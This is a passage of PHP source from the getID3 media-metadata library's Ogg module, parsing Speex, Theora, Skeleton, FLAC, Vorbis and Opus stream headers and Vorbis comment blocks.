			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['header_size']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode_bitstream_version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['bitrate']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['framesize']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr']                    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['frames_per_packet']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['extra_headers']          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved1']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved2']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;

			$info['speex']['speex_version'] = trim($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']);
			$info['speex']['sample_rate']   = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate'];
			$info['speex']['channels']      = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels'];
			$info['speex']['vbr']           = (bool) $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr'];
			$info['speex']['band_type']     = $this->SpeexBandModeLookup($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']);

			$info['audio']['sample_rate']   = $info['speex']['sample_rate'];
			$info['audio']['channels']      = $info['speex']['channels'];
			if ($info['speex']['vbr']) {
				$info['audio']['bitrate_mode'] = 'vbr';
			}

		} elseif (substr($filedata, 0, 7) == "\x80".'theora') {

			// http://www.theora.org/doc/Theora.pdf (section 6.2)

			$info['ogg']['pageheader']['theora']['theora_magic']             =                           substr($filedata, $filedataoffset,  7); // hard-coded to "\x80.'theora'
			$filedataoffset += 7;
			$info['ogg']['pageheader']['theora']['version_major']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['version_minor']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['version_revision']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['frame_width_macroblocks']  = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['pageheader']['theora']['frame_height_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['pageheader']['theora']['resolution_x']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['resolution_y']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['picture_offset_x']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['picture_offset_y']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['frame_rate_numerator']     = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
			$filedataoffset += 4;
			$info['ogg']['pageheader']['theora']['frame_rate_denominator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
			$filedataoffset += 4;
			$info['ogg']['pageheader']['theora']['pixel_aspect_numerator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['color_space_id']           = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['nominal_bitrate']          = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['flags']                    = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;

			$info['ogg']['pageheader']['theora']['quality']         = ($info['ogg']['pageheader']['theora']['flags'] & 0xFC00) >> 10;
			$info['ogg']['pageheader']['theora']['kfg_shift']       = ($info['ogg']['pageheader']['theora']['flags'] & 0x03E0) >>  5;
			$info['ogg']['pageheader']['theora']['pixel_format_id'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0018) >>  3;
			$info['ogg']['pageheader']['theora']['reserved']        = ($info['ogg']['pageheader']['theora']['flags'] & 0x0007) >>  0; // should be 0
			$info['ogg']['pageheader']['theora']['color_space']     = self::TheoraColorSpace($info['ogg']['pageheader']['theora']['color_space_id']);
			$info['ogg']['pageheader']['theora']['pixel_format']    = self::TheoraPixelFormat($info['ogg']['pageheader']['theora']['pixel_format_id']);

			$info['video']['dataformat']   = 'theora';
			$info['mime_type']             = 'video/ogg';
			//$info['audio']['bitrate_mode'] = 'abr';
			//$info['audio']['lossless']     = false;
			$info['video']['resolution_x'] = $info['ogg']['pageheader']['theora']['resolution_x'];
			$info['video']['resolution_y'] = $info['ogg']['pageheader']['theora']['resolution_y'];
			if ($info['ogg']['pageheader']['theora']['frame_rate_denominator'] > 0) {
				$info['video']['frame_rate'] = (float) $info['ogg']['pageheader']['theora']['frame_rate_numerator'] / $info['ogg']['pageheader']['theora']['frame_rate_denominator'];
			}
			if ($info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] > 0) {
				$info['video']['pixel_aspect_ratio'] = (float) $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] / $info['ogg']['pageheader']['theora']['pixel_aspect_denominator'];
			}
$this->warning('Ogg Theora (v3) not fully supported in this version of getID3 ['.$this->getid3->version().'] -- bitrate, playtime and all audio data are currently unavailable');


		} elseif (substr($filedata, 0, 8) == "fishead\x00") {

			// Ogg Skeleton version 3.0 Format Specification
			// http://xiph.org/ogg/doc/skeleton.html
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['version_major']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['skeleton']['fishead']['raw']['version_minor']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['basetime_numerator']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['utc']                          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 20));
			$filedataoffset += 20;

			$info['ogg']['skeleton']['fishead']['version']          = $info['ogg']['skeleton']['fishead']['raw']['version_major'].'.'.$info['ogg']['skeleton']['fishead']['raw']['version_minor'];
			$info['ogg']['skeleton']['fishead']['presentationtime'] = getid3_lib::SafeDiv($info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'], $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator']);
			$info['ogg']['skeleton']['fishead']['basetime']         = getid3_lib::SafeDiv($info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'],         $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']);
			$info['ogg']['skeleton']['fishead']['utc']              = $info['ogg']['skeleton']['fishead']['raw']['utc'];


			$counter = 0;
			do {
				$oggpageinfo = $this->ParseOggPageHeader();
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno'].'.'.$counter++] = $oggpageinfo;
				$filedata = $this->fread($oggpageinfo['page_length']);
				$this->fseek($oggpageinfo['page_end_offset']);

				if (substr($filedata, 0, 8) == "fisbone\x00") {

					$filedataoffset = 8;
					$info['ogg']['skeleton']['fisbone']['raw']['message_header_offset']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['serial_number']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['number_header_packets']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['basegranule']             = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['preroll']                 = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['granuleshift']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
					$filedataoffset += 1;
					$info['ogg']['skeleton']['fisbone']['raw']['padding']                 =                              substr($filedata, $filedataoffset,  3);
					$filedataoffset += 3;

				} elseif (substr($filedata, 1, 6) == 'theora') {

					$info['video']['dataformat'] = 'theora1';
					$this->error('Ogg Theora (v1) not correctly handled in this version of getID3 ['.$this->getid3->version().']');
					//break;

				} elseif (substr($filedata, 1, 6) == 'vorbis') {

					$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);

				} else {
					$this->error('unexpected');
					//break;
				}
			//} while ($oggpageinfo['page_seqno'] == 0);
			} while (($oggpageinfo['page_seqno'] == 0) && (substr($filedata, 0, 8) != "fisbone\x00"));

			$this->fseek($oggpageinfo['page_start_offset']);

			$this->error('Ogg Skeleton not correctly handled in this version of getID3 ['.$this->getid3->version().']');
			//return false;

		} elseif (substr($filedata, 0, 5) == "\x7F".'FLAC') {
			// https://xiph.org/flac/ogg_mapping.html

			$info['audio']['dataformat']   = 'flac';
			$info['audio']['bitrate_mode'] = 'vbr';
			$info['audio']['lossless']     = true;

			$info['ogg']['flac']['header']['version_major']  =                         ord(substr($filedata,  5, 1));
			$info['ogg']['flac']['header']['version_minor']  =                         ord(substr($filedata,  6, 1));
			$info['ogg']['flac']['header']['header_packets'] =   getid3_lib::BigEndian2Int(substr($filedata,  7, 2)) + 1; // "A two-byte, big-endian binary number signifying the number of header (non-audio) packets, not including this one. This number may be zero (0x0000) to signify 'unknown' but be aware that some decoders may not be able to handle such streams."
			$info['ogg']['flac']['header']['magic']          =                             substr($filedata,  9, 4);
			if ($info['ogg']['flac']['header']['magic'] != 'fLaC') {
				$this->error('Ogg-FLAC expecting "fLaC", found "'.$info['ogg']['flac']['header']['magic'].'" ('.trim(getid3_lib::PrintHexBytes($info['ogg']['flac']['header']['magic'])).')');
				return false;
			}
			$info['ogg']['flac']['header']['STREAMINFO_bytes'] = getid3_lib::BigEndian2Int(substr($filedata, 13, 4));
			$info['flac']['STREAMINFO'] = getid3_flac::parseSTREAMINFOdata(substr($filedata, 17, 34));
			if (!empty($info['flac']['STREAMINFO']['sample_rate'])) {
				$info['audio']['bitrate_mode']    = 'vbr';
				$info['audio']['sample_rate']     = $info['flac']['STREAMINFO']['sample_rate'];
				$info['audio']['channels']        = $info['flac']['STREAMINFO']['channels'];
				$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
				$info['playtime_seconds']         = getid3_lib::SafeDiv($info['flac']['STREAMINFO']['samples_stream'], $info['flac']['STREAMINFO']['sample_rate']);
			}

		} else {

			$this->error('Expecting one of "vorbis", "Speex", "OpusHead", "vorbis", "fishhead", "theora", "fLaC" identifier strings, found "'.substr($filedata, 0, 8).'"');
			unset($info['ogg']);
			unset($info['mime_type']);
			return false;

		}

		// Page 2 - Comment Header
		$oggpageinfo = $this->ParseOggPageHeader();
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

		switch ($info['audio']['dataformat']) {
			case 'vorbis':
				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, 0, 1));
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] =                              substr($filedata, 1, 6); // hard-coded to 'vorbis'

				$this->ParseVorbisComments();
				break;

			case 'flac':
				$flac = new getid3_flac($this->getid3);
				if (!$flac->parseMETAdata()) {
					$this->error('Failed to parse FLAC headers');
					return false;
				}
				unset($flac);
				break;

			case 'speex':
				$this->fseek($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length'], SEEK_CUR);
				$this->ParseVorbisComments();
				break;

			case 'opus':
				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 0, 8); // hard-coded to 'OpusTags'
				if(substr($filedata, 0, 8)  != 'OpusTags') {
					$this->error('Expected "OpusTags" as header but got "'.substr($filedata, 0, 8).'"');
					return false;
				}

				$this->ParseVorbisComments();
				break;

		}

		// Last Page - Number of Samples
		if (!getid3_lib::intValueSupported($info['avdataend'])) {

			$this->warning('Unable to parse Ogg end chunk file (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)');

		} else {

			$this->fseek(max($info['avdataend'] - $this->getid3->fread_buffer_size(), 0));
			$LastChunkOfOgg = strrev($this->fread($this->getid3->fread_buffer_size()));
			if ($LastOggSpostion = strpos($LastChunkOfOgg, 'SggO')) {
				if (substr($LastChunkOfOgg, 13, 8) === "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF") {
					// https://github.com/JamesHeinrich/getID3/issues/450
					// "Sometimes, Opus encoders (WhatsApp voice registrations and others) add a special last header with a granule duration of 0xFFFFFFFFFFFFFF.
					// This value indicates "this is the end," but must be ignored; otherwise, it makes calculations wrong."
					$LastOggSpostion = strpos($LastChunkOfOgg, 'SggO', $LastOggSpostion + 1);
				}
				$this->fseek($info['avdataend'] - ($LastOggSpostion + strlen('SggO')));
				$info['avdataend'] = $this->ftell();
				$info['ogg']['pageheader']['eos'] = $this->ParseOggPageHeader();
				$info['ogg']['samples']   = $info['ogg']['pageheader']['eos']['pcm_abs_position'];
				if ($info['ogg']['samples'] == 0) {
					$this->error('Corrupt Ogg file: eos.number of samples == zero');
					return false;
				}
				if (!empty($info['audio']['sample_rate'])) {
					$info['ogg']['bitrate_average'] = (($info['avdataend'] - $info['avdataoffset']) * 8) * $info['audio']['sample_rate'] / $info['ogg']['samples'];
				}
			}

		}

		if (!empty($info['ogg']['bitrate_average'])) {
			$info['audio']['bitrate'] = $info['ogg']['bitrate_average'];
		} elseif (!empty($info['ogg']['bitrate_nominal'])) {
			$info['audio']['bitrate'] = $info['ogg']['bitrate_nominal'];
		} elseif (!empty($info['ogg']['bitrate_min']) && !empty($info['ogg']['bitrate_max'])) {
			$info['audio']['bitrate'] = ($info['ogg']['bitrate_min'] + $info['ogg']['bitrate_max']) / 2;
		}
		if (isset($info['audio']['bitrate']) && !isset($info['playtime_seconds'])) {
			if ($info['audio']['bitrate'] == 0) {
				$this->error('Corrupt Ogg file: bitrate_audio == zero');
				return false;
			}
			$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']);
		}

		if (isset($info['ogg']['vendor'])) {
			$info['audio']['encoder'] = preg_replace('/^Encoded with /', '', $info['ogg']['vendor']);

			// Vorbis only
			if ($info['audio']['dataformat'] == 'vorbis') {

				// Vorbis 1.0 starts with Xiph.Org
				if  (preg_match('/^Xiph.Org/', $info['audio']['encoder'])) {

					if ($info['audio']['bitrate_mode'] == 'abr') {

						// Set -b 128 on abr files
						$info['audio']['encoder_options'] = '-b '.round($info['ogg']['bitrate_nominal'] / 1000);

					} elseif (($info['audio']['bitrate_mode'] == 'vbr') && ($info['audio']['channels'] == 2) && ($info['audio']['sample_rate'] >= 44100) && ($info['audio']['sample_rate'] <= 48000)) {
						// Set -q N on vbr files
						$info['audio']['encoder_options'] = '-q '.$this->get_quality_from_nominal_bitrate($info['ogg']['bitrate_nominal']);

					}
				}

				if (empty($info['audio']['encoder_options']) && !empty($info['ogg']['bitrate_nominal'])) {
					$info['audio']['encoder_options'] = 'Nominal bitrate: '.intval(round($info['ogg']['bitrate_nominal'] / 1000)).'kbps';
				}
			}
		}

		return true;
	}

	/**
	 * @param string $filedata
	 * @param int    $filedataoffset
	 * @param array  $oggpageinfo
	 *
	 * @return bool
	 */
	public function ParseVorbisPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
		$info = &$this->getid3->info;
		$info['audio']['dataformat'] = 'vorbis';
		$info['audio']['lossless']   = false;

		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, $filedataoffset, 6); // hard-coded to 'vorbis'
		$filedataoffset += 6;
		$info['ogg']['bitstreamversion'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['numberofchannels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$info['audio']['channels']       = $info['ogg']['numberofchannels'];
		$info['ogg']['samplerate']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		if ($info['ogg']['samplerate'] == 0) {
			$this->error('Corrupt Ogg file: sample rate == zero');
			return false;
		}
		$info['audio']['sample_rate']    = $info['ogg']['samplerate'];
		$info['ogg']['samples']          = 0; // filled in later
		$info['ogg']['bitrate_average']  = 0; // filled in later
		$info['ogg']['bitrate_max']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['bitrate_nominal']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['bitrate_min']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['blocksize_small']  = pow(2,  getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0x0F);
		$info['ogg']['blocksize_large']  = pow(2, (getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0xF0) >> 4);
		$info['ogg']['stop_bit']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); // must be 1, marks end of packet

		$info['audio']['bitrate_mode'] = 'vbr'; // overridden if actually abr
		if ($info['ogg']['bitrate_max'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_max']);
			$info['audio']['bitrate_mode'] = 'abr';
		}
		if ($info['ogg']['bitrate_nominal'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_nominal']);
		}
		if ($info['ogg']['bitrate_min'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_min']);
			$info['audio']['bitrate_mode'] = 'abr';
		}
		return true;
	}

	/**
	 * @link http://tools.ietf.org/html/draft-ietf-codec-oggopus-03
	 *
	 * @param string $filedata
	 * @param int    $filedataoffset
	 * @param array  $oggpageinfo
	 *
	 * @return bool
	 */
	public function ParseOpusPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
		$info = &$this->getid3->info;
		$info['audio']['dataformat']   = 'opus';
		$info['mime_type']             = 'audio/ogg; codecs=opus';

		/** @todo find a usable way to detect abr (vbr that is padded to be abr) */
		$info['audio']['bitrate_mode'] = 'vbr';

		$info['audio']['lossless']     = false;

		$info['ogg']['pageheader']['opus']['opus_magic'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'OpusHead'
		$filedataoffset += 8;
		$info['ogg']['pageheader']['opus']['version']    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		$filedataoffset += 1;

		if ($info['ogg']['pageheader']['opus']['version'] < 1 || $info['ogg']['pageheader']['opus']['version'] > 15) {
			$this->error('Unknown opus version number (only accepting 1-15)');
			return false;
		}

		$info['ogg']['pageheader']['opus']['out_channel_count'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		$filedataoffset += 1;

		if ($info['ogg']['pageheader']['opus']['out_channel_count'] == 0) {
			$this->error('Invalid channel count in opus header (must not be zero)');
			return false;
		}

		$info['ogg']['pageheader']['opus']['pre_skip'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
		$filedataoffset += 2;

		$info['ogg']['pageheader']['opus']['input_sample_rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
		$filedataoffset += 4;

		//$info['ogg']['pageheader']['opus']['output_gain'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
		//$filedataoffset += 2;

		//$info['ogg']['pageheader']['opus']['channel_mapping_family'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		//$filedataoffset += 1;

		$info['opus']['opus_version']       = $info['ogg']['pageheader']['opus']['version'];
		$info['opus']['sample_rate_input']  = $info['ogg']['pageheader']['opus']['input_sample_rate'];
		$info['opus']['out_channel_count']  = $info['ogg']['pageheader']['opus']['out_channel_count'];

		$info['audio']['channels']          = $info['opus']['out_channel_count'];
		$info['audio']['sample_rate_input'] = $info['opus']['sample_rate_input'];
		$info['audio']['sample_rate']       = 48000; // "All Opus audio is coded at 48 kHz, and should also be decoded at 48 kHz for playback (unless the target hardware does not support this sampling rate). However, this field may be used to resample the audio back to the original sampling rate, for example, when saving the output to a file." -- https://mf4.xiph.org/jenkins/view/opus/job/opusfile-unix/ws/doc/html/structOpusHead.html
		return true;
	}

	/**
	 * @return array|false
	 */
	public function ParseOggPageHeader() {
		// http://xiph.org/ogg/vorbis/doc/framing.html
		$oggheader = array();
		$oggheader['page_start_offset'] = $this->ftell(); // where we started from in the file

		$filedata = $this->fread($this->getid3->fread_buffer_size());
		$filedataoffset = 0;
		while (substr($filedata, $filedataoffset++, 4) != 'OggS') {
			if (($this->ftell() - $oggheader['page_start_offset']) >= $this->getid3->fread_buffer_size()) {
				// should be found before here
				return false;
			}
			if (($filedataoffset + 28) > strlen($filedata)) {
				if ($this->feof() || (($filedata .= $this->fread($this->getid3->fread_buffer_size())) === '')) {
					// get some more data, unless eof, in which case fail
					return false;
				}
			}
		}
		$filedataoffset += strlen('OggS') - 1; // page, delimited by 'OggS'

		$oggheader['stream_structver']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['flags_raw']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['flags']['fresh']    = (bool) ($oggheader['flags_raw'] & 0x01); // fresh packet
		$oggheader['flags']['bos']      = (bool) ($oggheader['flags_raw'] & 0x02); // first page of logical bitstream (bos)
		$oggheader['flags']['eos']      = (bool) ($oggheader['flags_raw'] & 0x04); // last page of logical bitstream (eos)

		$oggheader['pcm_abs_position']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8));
		$filedataoffset += 8;
		$oggheader['stream_serialno']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_seqno']        = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_checksum']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_segments']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['page_length'] = 0;
		for ($i = 0; $i < $oggheader['page_segments']; $i++) {
			$oggheader['segment_table'][$i] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
			$filedataoffset += 1;
			$oggheader['page_length'] += $oggheader['segment_table'][$i];
		}
		$oggheader['header_end_offset'] = $oggheader['page_start_offset'] + $filedataoffset;
		$oggheader['page_end_offset']   = $oggheader['header_end_offset'] + $oggheader['page_length'];
		$this->fseek($oggheader['header_end_offset']);

		return $oggheader;
	}

	/**
	 * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html#x1-810005
	 *
	 * @return bool
	 */
	public function ParseVorbisComments() {
		$info = &$this->getid3->info;

		$OriginalOffset = $this->ftell();
		$commentdata = null;
		$commentdataoffset = 0;
		$VorbisCommentPage = 1;
		$CommentStartOffset = 0;

		switch ($info['audio']['dataformat']) {
			case 'vorbis':
			case 'speex':
			case 'opus':
				$CommentStartOffset = $info['ogg']['pageheader'][$VorbisCommentPage]['page_start_offset'];  // Second Ogg page, after header block
				$this->fseek($CommentStartOffset);
				$commentdataoffset = 27 + $info['ogg']['pageheader'][$VorbisCommentPage]['page_segments'];
				$commentdata = $this->fread(self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1) + $commentdataoffset);

				if ($info['audio']['dataformat'] == 'vorbis') {
					$commentdataoffset += (strlen('vorbis') + 1);
				}
				else if ($info['audio']['dataformat'] == 'opus') {
					$commentdataoffset += strlen('OpusTags');
				}

				break;

			case 'flac':
				$CommentStartOffset = $info['flac']['VORBIS_COMMENT']['raw']['offset'] + 4;
				$this->fseek($CommentStartOffset);
				$commentdata = $this->fread($info['flac']['VORBIS_COMMENT']['raw']['block_length']);
				break;

			default:
				return false;
		}

		$VendorSize = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
		$commentdataoffset += 4;

		$info['ogg']['vendor'] = substr($commentdata, $commentdataoffset, $VendorSize);
		$commentdataoffset += $VendorSize;

		$CommentsCount = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
		$commentdataoffset += 4;
		$info['avdataoffset'] = $CommentStartOffset + $commentdataoffset;

		$basicfields = array('TITLE', 'ARTIST', 'ALBUM', 'TRACKNUMBER', 'GENRE', 'DATE', 'DESCRIPTION', 'COMMENT');
		$ThisFileInfo_ogg_comments_raw = &$info['ogg']['comments_raw'];
		for ($i = 0; $i < $CommentsCount; $i++) {

			if ($i >= 10000) {
				// https://github.com/owncloud/music/issues/212#issuecomment-43082336
				$this->warning('Unexpectedly large number ('.$CommentsCount.') of Ogg comments - breaking after reading '.$i.' comments');
				break;
			}

			$ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] = $CommentStartOffset + $commentdataoffset;

			if ($this->ftell() < ($ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + 4)) {
				if ($oggpageinfo = $this->ParseOggPageHeader()) {
					$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

					$VorbisCommentPage++;

					// First, save what we haven't read yet
					$AsYetUnusedData = substr($commentdata, $commentdataoffset);

					// Then take that data off the end
					$commentdata     = substr($commentdata, 0, $commentdataoffset);

					// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
					$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
					$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);

					// Finally, stick the unused data back on the end
					$commentdata .= $AsYetUnusedData;

					//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
					$commentdata .= $this->fread($this->OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1));
				}

			}
